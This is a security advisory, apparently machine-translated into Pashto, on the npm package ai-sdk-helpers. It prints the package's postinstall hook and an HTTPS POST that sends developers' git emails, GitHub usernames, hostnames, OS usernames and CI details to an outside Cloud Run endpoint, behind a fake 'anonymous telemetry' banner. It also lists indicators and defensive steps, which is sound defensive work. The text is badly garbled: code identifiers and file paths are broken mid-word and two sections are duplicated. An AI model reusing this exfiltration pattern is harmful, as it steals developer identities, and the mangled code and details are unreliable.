د تمديد؛ DR
د npm یو واحد پیکج، د ai-sdk-مرستندویان، ځان د Vercel AI SDK لپاره د تولید وسیلې کټ په توګه وړاندې کوي، د لګښت تعقیب، چمتو کونکي فال بیک، او سټریمینګ مرسته کونکي وړاندې کوي.
د دې د نصبولو وخت سکریپټ د پالش شوي افشا کولو بینر سره خلاصیږي چې تشریح کوي بې نومه تشخیصات، ژمنه کوي چې هیڅ سرچینه کوډ، ټوکنونه، یا اسناد نه لیږدول کیږي، د درناوي a DO_NOT_TRACK د وتلو څخه ډډه کول، او د ټیلی میټری پالیسۍ پاڼې سره اړیکه نیول.
بیا ورته سکریپټ د پراختیا کونکي ګیټ هویت، د ګیټ هب CLI ترتیب، د ماشین کوربه نوم، د OS کارن نوم، کاري لارښود، او د CI چمتو کونکی لوستل کیږي.
دا معلومات د JSON په توګه د ګوګل کلاوډ رن پای نقطې ته پوسټ کیږي، چې د بیان شوي ټیلی میټري پالیسۍ او راټول شوي اصلي ساحو ترمنځ یو روښانه بې اتفاقي رامینځته کوي.
دا بسته په دوه ویشت نسخو کې د یو واحد ۸۳ ثانیو برسټ دننه خپره شوه، او د نصب سکریپټ د هر بیرغ شوي نسخې لپاره د بایټ په اساس ورته دی.
زموږ لخوا بیاکتل شوي د اتو نسخو څخه اوه pipeline د ML طبقه بندي کونکي لخوا بې پایلې نمرې ورکړل شوې ځکه چې د رضایت بینر سټایل د قانوني ټیلی میټري په څیر لوستل کیږي.
موږ طبقه بندي کوو ai-sdk-helpers د نصبولو وخت د پراختیا کونکي د هویت راټولولو او افشا کولو پر بنسټ د ناوړه په توګه.
شدت: لوړ.
د نصب اناتومي
{ "scripts": { "postinstall": "node scripts/postinstall.js" } }د نصبولو وروسته په اتوماتيک ډول چلېږي د npm لګول، مخکې لدې چې د پیکج کوم اعلان شوی کوډ وارد شي. سکریپټ سکرېپټونه/postinstall.js هغه ځای دی چې د نصبولو وخت ټول چلند پکې ژوند کوي.
دا د تبصرې بلاک او د رن ټایم خبرتیا سره خلاصیږي چې د محرمیت په اړه د خلاصې سرچینې پروژې په راجستر کې لیکل شوي:
>کله چې تاسو د ai-sdk-helpers نصب کوئ، موږ د چاپیریال د مطابقت چټک چیک ترسره کوو او د نامعلوم تشخیص راپور ورکوو... معلومات په بشپړ ډول بې نومه دي - موږ ستاسو پلیټ فارم، نوډ نسخه، او ستاسو د ماشین پیژندونکي یو طرفه هش راټولوو. هیڅ سرچینه کوډ، ټوکن، یا اسناد هیڅکله نه لیږدول کیږي.
دا حتی د کار کولو آپټ آوټ دروازې ته تار ورکوي، چې په فایل کې لومړی اجرا کیدونکی کوډ دی:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); }د دې دروازې لومړی تړل هغه څه دي چې پاتې نور یې د موافقې په توګه لوستل کیږي: یو پراختیا کونکی چې تنظیموي `D_نه_ټریک` نصب په خاموشۍ سره بشپړیږي او بسته د کنوانسیون درناوی پای ته رسوي. د عزتمن انتخاب حقیقي دی. هغه څه چې دا یې ورکوي، د هر هغه چا لپاره چې دا یې نه تنظیموي، هغه ټولګه ده چې لاندې تشریح شوې ده - نه د "پلیټ فارم، نوډ نسخه، او یو طرفه هش" تنګ نومونه چې د خبرتیا نومونه دي.
د دې دروازې لاندې، سکریپټ یو داسې بار راټولوي چې د دې توضیحاتو څخه ډیر تیریږي.
- *Gهویت.* rحل کولScmهویت () ` ایډز `~.ګیټ کنفیګ`،`~.config/git/config`،او د اوسنۍ پروژې `.دا/تنظیم`،تجزیه کوي `[سر]` اخذ، او ترتیب شوی بیرته راګرځوي commit برېښنالیک. که چیرې د ترتیب فایل بریښنالیک ونه ترلاسه کړي، نو دا بیرته `G` ته راځي.د AUTHOR_EMAIL،`GT_COMMITTER_EMAIL`،او `اید AIL` د چاپیریال متغیرات. د فعالیت پورته یو سند د لوستلو چوکاټ د "د ورته شخص ملکیت لرونکي ماشینونو کې د نصبونو نقل کولو لپاره (د مثال په توګه لیپ ټاپ + CI)" په توګه چوکاټ کوي - یو بیان شوی هدف چې د هر پراختیا کونکي مستحکم پیژندونکي ته اړتیا لري، کوم چې commit د برېښنالیک توکي.
- *Gد tHub حساب.* rد حل ګیټ هب هویت () ` ایډز `~.config/gh/hosts.yml` او `~.config/gh/hosts.yaml` د ترتیب فایل چې د GitHub CLI لخوا لیکل شوی کله چې یو پراختیا کونکی تصدیق کوي - او regex- `u` استخراجويیار:` او `ایالف:` ields. دا فایل د GitHub OAuth ټوکن هم ذخیره کوي؛ د سکریپټ ریجیکس په ځانګړي ډول د کارونکي نوم او بریښنالیک لینونه په نښه کوي او ټوکن نه استخراجوي. د افشا کولو بینر "هیڅ ټوکن ... هیڅکله نه لیږدول کیږي" ادعا له همدې امله په لفظي ډول د دې یوې ساحې لپاره ریښتیا ده پداسې حال کې چې شاوخوا حساب پیژندونکي لوستل کیږي او لیږل کیږي.
- *Hد st او CI د ګوتو نښې.* هغه سکرېپټ بیا `o` راټولوي.کوربه نوم()`,`o.کارونکي معلومات().کارن نوم`,د نوډ نسخه، پلیټ فارم او معمارۍ، `pocess.cwd()`,او د CI- چمتو کونکي لیبل د اتو چمتو کونکو لپاره د چاپیریال متغیرونو چک کولو سره حل شوی (GitHub Actions، GitLab CI، Jenkins، CircleCI، Travis، Buildkite، او دوه عمومي-CI بیرغونه). د چمتو کونکي لیست د هغه ځای په توګه لوستل کیږي چیرې چې سکریپټ تمه لري چې اجرا شي - متقابل شیلونه او اتومات جوړونه pipelineیو شان دی.
دا ټول په یوه واحد ``d'' کې ګروپ شوي دي.اګنوسټیکس bject، د هر پراختیا کونکي ساحې سره چې د `i` لاندې راټول شوي دينهاد` ey او د کوربه معلومات د `r` لاندېوخت او `جمتن` eyes، بیا سریال شوی او لیږدول شوی:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end();ځواب رد شوی او ټولې غلطۍ تیرې شوې دي - یوه تبصره یادونه کوي چې "ټیلی میټری باید هیڅکله انسټال مات نه کړي." د پای ټکی کوربه نوم په `eرسۍ-لویدیځ1` اجیون.
تشه کیسه ده. بینر د معلوماتو درې کټګورۍ نوموي - پلیټ فارم، نوډ نسخه، د ماشین پیژندونکي هش. پیلوډ د پراختیا کونکي اصلي ګیټ لیږي commit برېښنالیک، د دوی د GitHub کارن نوم او برېښنالیک، د دوی د ماشین کوربه نوم او د OS حساب نوم، د دوی د پروژې لاره، او د دوی د CI چاپیریال. هغه ساحې چې *p پیژنيrson او د هغوی حسابونه* په سمه توګه هغه ساحې دي چې افشا کول یې له پامه غورځوي.
README له بلې خوا چوکاټ پیاوړی کوي. د هغې "ټیلیمیټري" برخه د بې نومۍ ادعا تکراروي او د "D" کلمې سره نښلوي._نه_ټریک` او سيnsoledonottrack.com`,د ټولنې اصلي پاڼه چې د وتلو کنوانسیون مستند کوي - د پیژندل شوي محرمیت پور اخیستل standard ترڅو خبرتیا په معمول ډول ولوستل شي.
مهال ویش
دا د یوې واحدې بستې موندنه ده چې د خپرونې خورا لنډ او ډیر دروند تاریخ لري. د تعقیب لپاره د څو اونیو کمپاین آرک نشته - د نسخې ټوله لړۍ د ماشین سرعت سره مخ شوې وه.
| کله چې (UTC) | دکمپاینونو |
|---|---|
| 2026-06-03 20:31:20 | لومړۍ نسخه (0.1.0) npm ته خپور شو. |
| 2026-06-03 20:31:20 – 20:32:43 | ټولې ۲۲ نسخې (0.1.0 له لارې د 1.4.2) په ۸۳ ثانیو کې په اتوماتیک ډول خپور شو. |
| 2026-06-04 | اته نسخې د کشف سیګنالونو لخوا نښه شوي؛ لاسي تحلیل د نصب وخت د پیژندنې راټولول او ایستل تاییدوي. بسته د تحلیل په وخت کې په npm کې ژوندۍ پاتې شوه. |
د ۲۲ سیمانټیک نسخو په اوږدو کې د ۸۳ ثانیو کړکۍ پخپله د چلند شاخص دی: د نسخې زینه (`0۱.۱`،`0۱.۱`،… `۱۴.۲`)د یوې فعالې ساتل شوې پروژې سطحه د خپریدو تاریخ سره وړاندې کوي، چې په یوه سکریپټ شوي چلولو کې تولید شوې ده. د نصب سکریپټ په دې زینه کې نه بدلیږي — لاندې وګورئ.
د جوړجاړي شاخصونه
د نصبولو وخت تادیه د خپرو شویو نسخو په لړۍ کې ورته ده. الف `dفف درپټس/پوسټ انسټال.js` د ایتون نسخه `02.1` دوهم نسخه `۱4.2` هیڅ توپیر نلري؛ چلند د ګوتو نښې یو ثابت دی، نه د بدلون موندونکی پیلوډ.
شبکه
د ۲۲ سیمانټیک نسخو په اوږدو کې د ۸۳ ثانیو کړکۍ پخپله د چلند شاخص دی: د نسخې زینه (`0۱.۱`،`0۱.۱`،… `۱۴.۲`)د یوې فعالې ساتل شوې پروژې سطحه د خپریدو تاریخ سره وړاندې کوي، چې په یوه سکریپټ شوي چلولو کې تولید شوې ده. د نصب سکریپټ په دې زینه کې نه بدلیږي — لاندې وګورئ.
د جوړجاړي شاخصونه
د نصبولو وخت تادیه د خپرو شویو نسخو په لړۍ کې ورته ده. الف `dفف درپټس/پوسټ انسټال.js` د ایتون نسخه `02.1` دوهم نسخه `۱4.2` هیڅ توپیر نلري؛ چلند د ګوتو نښې یو ثابت دی، نه د بدلون موندونکی پیلوډ.
شبکه
| شاخص | رول |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | د Exfiltration پای ټکی د JSON پیلوډونو سره د HTTPS POST غوښتنې ترلاسه کوي. په ګوګل کلاوډ کې کوربه شوی په کې چلول europe-west1 سيمه. |
د زیربنا ډیکوی
| شاخص | رول |
|---|---|
ai-sdk.guide | د بسته بندۍ کورپاڼه او ژوندۍ سایټ د "AI SDK لارښود" لیکوال هویت ملاتړ کوي. |
ai-sdk.guide/telemetry | د ټیلی میټری پالیسۍ URL چې د نصبولو وخت افشا کولو خبرتیا کې حواله شوی. |
hello@ai-sdk.guide | د لیکوال برېښنالیک په کې اعلان شو package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | د سرچینې ذخیره چې د پیکج لخوا اعلان شوې. |
فایلونه د نصبولو په وخت کې لوستل کیږي
- -.ګیټ کنفیګ`،`~.config/git/config`،`<wd>/.git/config` ګیټ `[سر]` پست
- - .config/gh/hosts.yml`،`~.config/gh/hosts.yaml` د ګیټ هب CLI `uer` `eایل
د چلند لاسلیکونه
- – م `پنصب کړئ` او همدارنګه د یو بنډل شوي نوډ سکریپټ غوښتنه کول
- - د وتلو دروازه (`A``د _SDK_مرستندویه_ټېلیفوني_غیر فعال شوی،```D_نه_ټریک`)د هویت راټولولو دمخه، د محرمیت ځانګړتیا په توګه وړاندې شوی
- - د JSON څیز tbound HTTPS POST چې د git بریښنالیک، GitHub هویت، کوربه نوم، د OS کارن نوم، cwd، او CI لیبل لري
- - د ګړندي خپریدونکي نسخې زینې په اوږدو کې د ورته نصب سکریپټ
منسوب او مشاهده شوی چلند
موږ د هغه څه څخه هاخوا هیڅ شی نه منسوبوو چې د پیکج او راجسټری میټاډاټا ثبتوي.
د ریکارډ npm ساتونکی حساب `a` دیایلسمن,د `a پتې سرهiel@vigilance.security`.په راجستر کې هغه برېښنالیک د نه تایید شوي په توګه او د حساب د سرچینې کنټرول هویت د نه تایید شوي په توګه لیست شوی دی. `pckage.json`,په جلا توګه، لیکوال د "AI SDK لارښود" په توګه وړاندې کوي.ello@ai-sdk.guide>`"د `a` کور پاڼې سره-sdk.لارښود` او د `g` لاندې د سرچینې ذخیرهthub.com/ai-sdk-guide` اداره. د خپرونې حساب د بریښنالیک ډومین (`vigilance.security`)او د پیکج دننه د لیکوال هویت (`a-sdk.لارښود`)مختلف ډومینونه دي.
د `a-sdk.لارښود` دا ژوندی دی او ځواب ورکوي، او `/عنصري ath حل کوي — د جعلي هویت ملاتړ د یوې مړې لینک پرځای د لاسرسي وړ ویب شتون لخوا کیږي، کوم چې د کڅوړې چوکاټ باور لوړوي.
**د لیدلو وړتیا.** د نصبولو په وخت کې، کڅوړه د پراختیا کونکي هویت او د حساب ترتیب کولو فایلونه لولي، کوربه او CI چاپیریال د ګوتو نښې کوي، او پایله د آپریټر کنټرول شوي پای ټکي ته لیږدوي، پداسې حال کې چې یو خبرتیا ښیې چې د یو محدود او بې نومه ډیټا سیټ تشریح کوي. موږ دا چلند تشریح کوو؛ موږ د دې لپاره انګیزه نه تاییدوو. لوستونکي چې د کڅوړې ارزونه کوي - په شمول د هر هغه ګوند چې د خپرونې هویت پیژني - باید د بیان شوي او اصلي معلوماتو جریان ترمنځ د لیدلو وړ بې اتفاقي وزن کړي.
د مدافعینو لپاره اغیزې، رجحانات او لارښوونې
څوک افشا شوی دی. هر څوک چې نصب کوي د ai-sdk-مرستندویان — په مستقیم ډول یا د انتقالي انحصار په توګه — په هغه ماشین کې ټولګه چلوي. ځکه چې محرک دی د نصبولو وروسته، د اعلان شوي کتابتون کوډ هیڅکله د معلوماتو جریان رامینځته کیدو لپاره واردولو ته اړتیا نلري؛ یوازې نصب کول کافي دي. لوړ ارزښت لرونکي چاپیریالونه د پراختیا کونکي ورک سټیشنونه دي چې د ترتیب شوي ګیټ هویت او تصدیق شوي ګیټ هب CLI سره ، او د CI رنرونه ، چیرې چې د سکریپټ CI چمتو کونکي کشف ښیې چې تمه کیږي ټولګه به د جوړونې دننه پرمخ بوځي. pipelines او همدارنګه په لپټاپونو کې.
هغه څه چې دا یې څرګندوي. په عمومي قضیه کې د غوښتنلیک رازونه نه - د تادیې بار په مرکز کې شناخت: د پراختیا کونکي commit برېښنالیک، د دوی د GitHub حساب نوم او برېښنالیک، د ماشین او حساب نومونه، او د پروژې لاره. دا یو مخکینۍ خبره دهcisد دې نقشه چې چا بسته نصب کړه، په کوم ماشین کې، په کوم ذخیره کې، او د کوم CI سیسټم لاندې. د یوې ادارې لپاره، د دې ډول ریکارډونو یو څو یوځای اخیستل به دا په ګوته کړي چې کوم انجینرانو او کوم سیسټمونو د جوړولو لپاره انحصار راپارولی - د ډیر هدفمند تعقیبي فعالیت لپاره د مخکیني په توګه ګټور، که څه هم د دې بسته خپل چلند په راټولولو او لیږد کې ودریږي.
رجحان: ټیلی میټری د پوښ په توګه. د قانوني پراختیا کونکي وسیلې د نامعلوم نصب تشخیصونه راټولوي، او د دې په درناوي سره د ترسره کولو کنوانسیونونه - د افشا کولو خبرتیا، a تعقیب نه کړئ عزت، د وتلو بیرغ، د پالیسۍ URL - ښه پیژندل شوي دي. د ai-sdk-مرستندویان دا څلور واړه کنوانسیونونه په وفادارۍ سره بیا تولیدوي او د هویت راټولولو لپاره یې د پوښ په توګه کاروي. د رضایت بینر، کاري انتخاب، یا د محرمیت پالیسۍ لینک شتون د دې ثبوت نه دی چې یو بسته د اعتبار وړ ده؛ دا کنټرولونه د تقلید لپاره ارزانه دي. یوازینۍ باوري چک هغه څه دي چې کوډ په حقیقت کې لولي او چیرته یې لیږي.
دا بسته بندي په اتوماتیک ټریج باندې د اندازه کولو وړ اغیزه هم لري. په ټولو نسخو کې زموږ pipeline بیاکتنه وشوه، د انسټال سکریپټ ساده ژبې تبصرې، جوړښت شوي ساحې نومونه، او دودیز آپټ آوټ دروازه د عادي ټیلی میټري په توګه نمرې ورکړل شوې: له اتو څخه اوه بیرته راغلل بې ځایه شوی د ML طبقه بندي کونکي څخه نه بلکه د ناوړه چلند څخه. هغه سیګنال چې ابهام حل کوي په نثر کې نه دی - دا په هغه ځانګړو فایلونو کې دی چې سکریپټ یې پرانیزي (~/.ګیټ کنفیګ, ~/.config/gh/hosts.yml) او هغه منزل چې دا یې لیږي. یو بیاکتونکی، اتومات یا انساني، چې افشا کول لولي او هلته ودریږي، غلطې پایلې ته رسیږي؛ پریکړه باید د معلوماتو د جریان حقایقو څخه راشي.
د مدافعینو لپاره لارښوونې:
- د ډیفالټ لخوا غیر فعال شوي سکریپټونو سره نصب کړئ — npm نصب کړئ - سکریپټونه له پامه وغورځوئ، یا ټاکل شوی له پامه غورځول شوي سکرېپټونه = ریښتیا in .npmrc او په واضح ډول د ارزونې شوي جوړونې مرحلې پرمخ بوځي. دا بې طرفه کوي د نصبولو وروسته- په ټوله کې د راټولولو لامل شو.
- د وتلو کنټرولونه د باور نښې مه ګڼئ. الف تعقیب نه کړئ چیک یا د "ټیلی میټری پالیسۍ" لینک تاسو ته د هغه معلوماتو په اړه هیڅ نه وايي چې سکریپټ راټولوي کله چې دروازه نه وي تنظیم شوې.
- د AI-ایکوسیستم مرستندویه کڅوړو غوره کولو دمخه د نصب هک ولولئ. د Vercel AI SDK ځای یو ګړندی حرکت کونکی، لوړ باور لرونکی هدف دی؛ a د نصبولو وروسته چې لمس کوي ~/.ګیټ کنفیګ or ~/.config/gh/ دا یو روښانه سیګنال دی پرته له دې چې شاوخوا نظرونه څنګه لیکل شوي وي.
- د جوړونې وخت د وتلو څارنه. د وتلو په جریان کې یو HTTPS پوسټ د npm لګول، په ځانګړي توګه د تازه چمتو شوي کلاوډ فعالیت پای نقطې ته ، د شبکې پرت کې د لیدو وړ دی او د CI چاپیریال لپاره د کشف قوي نقطه ده.
- د کمپریس شوي نسخې زینو لپاره وګورئ. یو پیکج چې د سیمانټیک نسخې بشپړ تاریخ یې په ثانیو کې څرګندیږي، د نه بدلیدونکي نصب سکریپټ سره، د تولید شوي ساتنې تاریخ وړاندې کوي.
